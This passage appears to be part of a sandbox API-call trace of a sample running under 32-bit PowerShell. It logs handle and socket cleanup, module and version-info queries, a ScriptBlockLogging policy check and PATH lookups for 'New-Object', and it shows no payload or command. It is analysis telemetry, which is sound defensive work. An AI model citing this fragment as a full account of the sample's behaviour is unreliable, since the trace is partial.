CloseHandle (hObject=0x5f4) returned 1 [0199.196] CloseHandle (hObject=0x658) returned 1 [0199.206] CloseHandle (hObject=0x670) returned 1 [0199.207] CloseHandle (hObject=0x66c) returned 1 [0199.207] CloseHandle (hObject=0x668) returned 1 [0199.207] CloseHandle (hObject=0x664) returned 1 [0199.209] CloseHandle (hObject=0x50c) returned 1 [0199.209] CloseHandle (hObject=0x508) returned 1 [0199.209] setsockopt (s=0x4fc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0199.210] closesocket (s=0x4fc) returned 0 [0199.212] CloseHandle (hObject=0xf) returned 1 [0199.215] RegCloseKey (hKey=0x488) returned 0x0 [0199.216] WinHttpCloseHandle (hInternet=0x38b9e0) returned 1 [0199.216] CloseHandle (hObject=0x484) returned 1 [0199.217] CloseHandle (hObject=0x498) returned 1 [0199.218] CloseHandle (hObject=0x494) returned 1 [0199.219] RegCloseKey (hKey=0x490) returned 0x0 [0199.220] CloseHandle (hObject=0x48c) returned 1 [0199.221] RegCloseKey (hKey=0x480) returned 0x0 [0199.221] CloseHandle (hObject=0x274) returned 1 [0199.265] DeregisterEventSource (hEventLog=0x4470004) returned 1 [0199.354] RegCloseKey (hKey=0x47c) returned 0x0 [0199.355] CloseHandle (hObject=0x464) returned 1 [0199.356] setsockopt (s=0x45c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0199.356] closesocket (s=0x45c) returned 0 [0199.357] CloseHandle (hObject=0x460) returned 1 [0199.358] LocalFree (hMem=0x388ba8) returned 0x0 [0199.359] setsockopt (s=0x454, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0199.359] closesocket (s=0x454) returned 0 [0199.360] CloseHandle (hObject=0x458) returned 1 [0199.361] RegCloseKey (hKey=0x80000004) returned 0x0 [0199.361] CloseHandle (hObject=0x504) returned 1 [0199.362] CloseHandle (hObject=0x660) returned 1 [0199.363] CloseHandle (hObject=0x65c) returned 1 [0199.363] CloseHandle (hObject=0x618) returned 1 [0199.363] CloseHandle (hObject=0x29c) returned 1 [0199.364] CloseHandle (hObject=0x28c) returned 1 Thread: id = 36 os_tid = 0xf28 Thread: id = 92 os_tid = 0xf5c Thread: id = 93 os_tid = 0xf60 Thread: id = 98 os_tid = 0xf74 Thread: id = 101 os_tid = 0xf80 Thread: id = 107 os_tid = 0xf98 Thread: id = 109 os_tid = 0xfa0 Thread: id = 112 os_tid = 0xfac Thread: id = 118 os_tid = 0xfc4 [0199.213] CoGetContextToken (in: pToken=0x4c6f904 | out: pToken=0x4c6f904) returned 0x0 [0199.213] CObjectContext::QueryInterface () returned 0x0 [0199.213] CObjectContext::GetCurrentThreadType () returned 0x0 [0199.214] Release () returned 0x0 Thread: id = 119 os_tid = 0xfc8 Thread: id = 125 os_tid = 0xfe0 Thread: id = 127 os_tid = 0xff0 Thread: id = 128 os_tid = 0xff4 Thread: id = 129 os_tid = 0xff8 Thread: id = 134 os_tid = 0xb8c Thread: id = 145 os_tid = 0xab0 [0164.482] SetThreadUILanguage (LangId=0x0) returned 0x409 [0164.493] EtwEventRegister () returned 0x0 [0164.959] CoCreateGuid (in: pguid=0x599f07c | out: pguid=0x599f07c*(Data1=0x3843c8be, Data2=0x23f5, Data3=0x4e6a, Data4=([0]=0x82, [1]=0x5b, [2]=0xfe, [3]=0x2b, [4]=0x3b, [5]=0x7, [6]=0x9c, [7]=0xed))) returned 0x0 [0165.074] QueryPerformanceFrequency (in: lpFrequency=0x204e28 | out: lpFrequency=0x204e28*=100000000) returned 1 [0165.076] QueryPerformanceCounter (in: lpPerformanceCount=0x599f05c | out: lpPerformanceCount=0x599f05c*=1259254977743) returned 1 [0165.079] GetCurrentProcessId () returned 0xef4 [0165.090] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xef4) returned 0x3b4 [0165.090] EnumProcessModules (in: hProcess=0x3b4, lphModule=0x25666b8, cb=0x100, lpcbNeeded=0x599ef54 | out: lphModule=0x25666b8, lpcbNeeded=0x599ef54) returned 1 [0165.091] GetModuleInformation (in: hProcess=0x3b4, hModule=0xc40000, lpmodinfo=0x25667f8, cb=0xc | out: lpmodinfo=0x25667f8*(lpBaseOfDll=0xc40000, SizeOfImage=0x6b000, EntryPoint=0xc4d330)) returned 1 [0165.092] CoTaskMemAlloc (cb=0x804) returned 0x3cd708 [0165.092] GetModuleBaseNameW (in: hProcess=0x3b4, hModule=0xc40000, lpBaseName=0x3cd708, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0165.092] CoTaskMemFree (pv=0x3cd708) [0165.092] CoTaskMemAlloc (cb=0x804) returned 0x3cd708 [0165.093] GetModuleFileNameExW (in: hProcess=0x3b4, hModule=0xc40000, lpFilename=0x3cd708, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0165.093] CoTaskMemFree (pv=0x3cd708) [0165.093] CloseHandle (hObject=0x3b4) returned 1 [0165.098] LocalReAlloc (hMem=0x3795f0, uBytes=0x208, uFlags=0x2) returned 0x388ba8 [0165.098] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0165.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ec8c) returned 1 [0165.098] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x599ef50 | out: lpFileInformation=0x599ef50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7f9180, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8b7f9180, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x7711b3a3, ftLastWriteTime.dwHighDateTime=0x1d251bc, nFileSizeHigh=0x0, nFileSizeLow=0x68400)) returned 1 [0165.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ec88) returned 1 [0165.098] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x599efc4 | out: lpdwHandle=0x599efc4) returned 0x74c [0165.099] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x74c, lpData=0x2568a2c | out: lpData=0x2568a2c) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x599ef98, puLen=0x599ef94 | out: lplpBuffer=0x599ef98*=0x2568dcc, puLen=0x599ef94) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568ae4, puLen=0x599ef14) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568b38, puLen=0x599ef14) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568b80, puLen=0x599ef14) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568bf4, puLen=0x599ef14) returned 1 [0165.099] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568c30, puLen=0x599ef14) returned 1 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568cb4, puLen=0x599ef14) returned 1 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568cfc, puLen=0x599ef14) returned 1 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x2568d6c, puLen=0x599ef14) returned 1 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x0, puLen=0x599ef14) returned 0 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x0, puLen=0x599ef14) returned 0 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x0, puLen=0x599ef14) returned 0 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x599ef18, puLen=0x599ef14 | out: lplpBuffer=0x599ef18*=0x0, puLen=0x599ef14) returned 0 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x599ef0c, puLen=0x599ef08 | out: lplpBuffer=0x599ef0c*=0x2568dcc, puLen=0x599ef08) returned 1 [0165.100] VerLanguageNameW (in: wLang=0x409, szLang=0x599ec9c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0165.100] VerQueryValueW (in: pBlock=0x2568a2c, lpSubBlock="\\", lplpBuffer=0x599ef1c, puLen=0x599ef18 | out: lplpBuffer=0x599ef1c*=0x2568a54, puLen=0x599ef18) returned 1 [0165.709] CoCreateGuid (in: pguid=0x599e500 | out: pguid=0x599e500*(Data1=0x44d85dc5, Data2=0xfe4d, Data3=0x427e, Data4=([0]=0x9e, [1]=0x69, [2]=0xcf, [3]=0xd4, [4]=0x2d, [5]=0x5b, [6]=0xbb, [7]=0xf8))) returned 0x0 [0168.036] QueryPerformanceCounter (in: lpPerformanceCount=0x599f024 | out: lpPerformanceCount=0x599f024*=1259905938981) returned 1 [0168.079] EtwEventRegister () returned 0x0 [0168.083] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599ee94, nSize=0x80 | out: lpBuffer="") returned 0x0 [0168.715] EtwEventActivityIdControl () returned 0x0 [0168.715] EtwEventActivityIdControl () returned 0x0 [0168.715] EtwEventActivityIdControl () returned 0x0 [0168.725] EtwEventActivityIdControl () returned 0x0 [0168.725] EtwEventActivityIdControl () returned 0x0 [0168.725] EtwEventActivityIdControl () returned 0x0 [0169.087] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x599e69c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.087] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x599e69c, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.132] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x599e688, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.336] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ef00 | out: phkResult=0x599ef00*=0x0) returned 0x2 [0169.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x599ef00 | out: phkResult=0x599ef00*=0x0) returned 0x2 [0169.433] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x599e658, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.447] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x599ea40, nSize=0x80 | out: lpBuffer="") returned 0x0 [0169.451] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x599e95c, nSize=0x80 | out: lpBuffer="") returned 0xf2 [0169.451] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x599e878, nSize=0xf2 | out: lpBuffer="") returned 0xf1 [0169.458] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x599e864, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.609] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x388ba8 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0169.612] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x599e86c, nSize=0xf2 | out: lpBuffer="") returned 0x3a [0169.614] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0169.614] GetFullPathNameW (in: lpFileName="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x49, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x48 [0169.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\users\\keecfmwgj\\desktop\\c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0169.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.616] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x599e0fc, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.616] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.617] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x5da08c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5da08c40, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0169.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ea84) returned 1 [0169.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0169.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0169.620] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\New-Object.*", lpFindFileData=0x599e834 | out: lpFindFileData=0x599e834*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7dc) returned 1 [0169.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea3c) returned 1 [0169.623] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.623] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.623] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0169.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ea84) returned 1 [0169.624] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0169.624] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0169.624] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.*", lpFindFileData=0x599e834 | out: lpFindFileData=0x599e834*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7dc) returned 1 [0169.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea3c) returned 1 [0169.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.625] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0169.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ea84) returned 1 [0169.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0169.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0169.626] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.*", lpFindFileData=0x599e834 | out: lpFindFileData=0x599e834*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7dc) returned 1 [0169.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea3c) returned 1 [0169.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.627] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ea84) returned 1 [0169.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0169.628] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0169.628] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\New-Object.*", lpFindFileData=0x599e834 | out: lpFindFileData=0x599e834*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7dc) returned 1 [0169.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea3c) returned 1 [0169.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e7c8) returned 1 [0169.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x599ea8c | out: lpFileInformation=0x599ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0169.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7c4) returned 1 [0169.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599ea84) returned 1 [0169.630] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0169.630] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0169.630] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\New-Object.*", lpFindFileData=0x599e834 | out: lpFindFileData=0x599e834*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0169.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e7dc) returned 1 [0169.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599ea3c) returned 1 [0169.638] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x599e8d0, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0169.776] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0169.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eab4) returned 1 [0169.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0169.799] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0169.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", 